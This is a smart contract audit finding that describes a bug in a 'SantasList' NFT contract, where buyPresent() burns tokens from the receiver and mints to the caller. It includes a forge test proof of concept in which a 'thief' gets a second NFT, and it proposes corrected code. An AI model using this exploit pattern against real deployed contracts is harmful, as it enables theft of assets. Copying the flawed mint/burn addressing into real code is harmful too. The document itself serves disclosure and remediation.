## Description The external function `buyPresent()` mints a Present NFT to the `msg.sender` address. This provides opportunity for a malicious actor to mint extra NFTs for themselves. \*This finding is related to other finding titled "`buyPresent()` function burns from wrong address". ## Vulnerability Details The external function `buyPresent()` calls `_mintAndIncrement()`, which mints to the `msg.sender` address, not to the intended `presentReceiver` address, as shown below: ``` function buyPresent(address presentReceiver) external { // ... _mintAndIncrement(); } function _mintAndIncrement() private { // incorrectly mints NFT to msg.sender _safeMint(msg.sender, s_tokenCounter++); } ``` This introduces a new attack vector, since a related bug (as mentioned in summary) causes the incorrect burning of the SANTA ERC20 token immediately before the aforementioned minting bug, shown below: ``` function buyPresent(address presentReceiver) external { // incorrectly burns from `presentReceiver` i_santaToken.burn(presentReceiver); // incorrectly mints to `msg.sender` _mintAndIncrement(); } ``` With the existence of these two related bugs, a user with the SANTA ERC20 token may bypass the rule of only owning one NFT (as implied by line 151 balance check and line 152 revert message below). ``` if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); } ``` To bypass this rule, an `EXTRA_NICE` user, aka malicious actor, may do the following steps 1. call the `collectPresent()` function, acquiring both a SANTA ERC20 token and an NFT. 2. transfer the SANTA ERC20 token to a different "friend" address 3. call the `buyPresent` function, passing the "friend" address as the parameter, burning the ERC20 token in the "friend" wallet, and minting an NFT for themself. The below code block is a PoC (written as a forge test) demonstrating the above steps in action, ultimately allowing the attacker to hold 2 NFTs. ``` function test_buyPresentDoubleMint() public { SantasList.Status extraNice = SantasList.Status.EXTRA_NICE; address santa = makeAddr("santa"); address thief = makeAddr("thief"); address friend = makeAddr("friend"); vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1); vm.startPrank(santa); santasList.checkList(thief, extraNice); santasList.checkTwice(thief, extraNice); vm.stopPrank(); vm.startPrank(thief); santasList.collectPresent(); assert(santasList.balanceOf(thief) == 1); assert(santaToken.balanceOf(thief) == 1e18); santaToken.transfer(friend, 1e18); santasList.buyPresent(friend); assert(santasList.balanceOf(thief) == 2); } ``` ## Impact A malicious actor may mint more than one NFT for themselves. ## Recommendations - pass `msg.sender` as a param into the `i_santaToken.burn()` call - add an `address to` param to the private function `_mintAndIncrement()`, passing `to` to `_safeMint`, instead of `msg.sender` by default. See corrected code recommendations below: ``` function buyPresent(address presentReceiver) external { i_santaToken.burn(msg.sender); _mintAndIncrement(presentReceiver); } function _mintAndIncrement(address to) private { _safeMint(to, s_tokenCounter++); } ``` By adding the `address to` param to `_mintAndIncrement`, be sure to pass the correct param value to all other calls to `_mintAndIncrement` in the contract. (this should often be `msg.sender`.) Example of `_mintAndIncrement()` calls in `collectPresent()` function: ``` function collectPresent() external { // ... other checks if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) { _mintAndIncrement(msg.sender); // add `to` param here return; } else if ( s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE ) { _mintAndIncrement(msg.sender); // add `to` param here i_santaToken.mint(msg.sender); return; } revert SantasList__NotNice(); } ```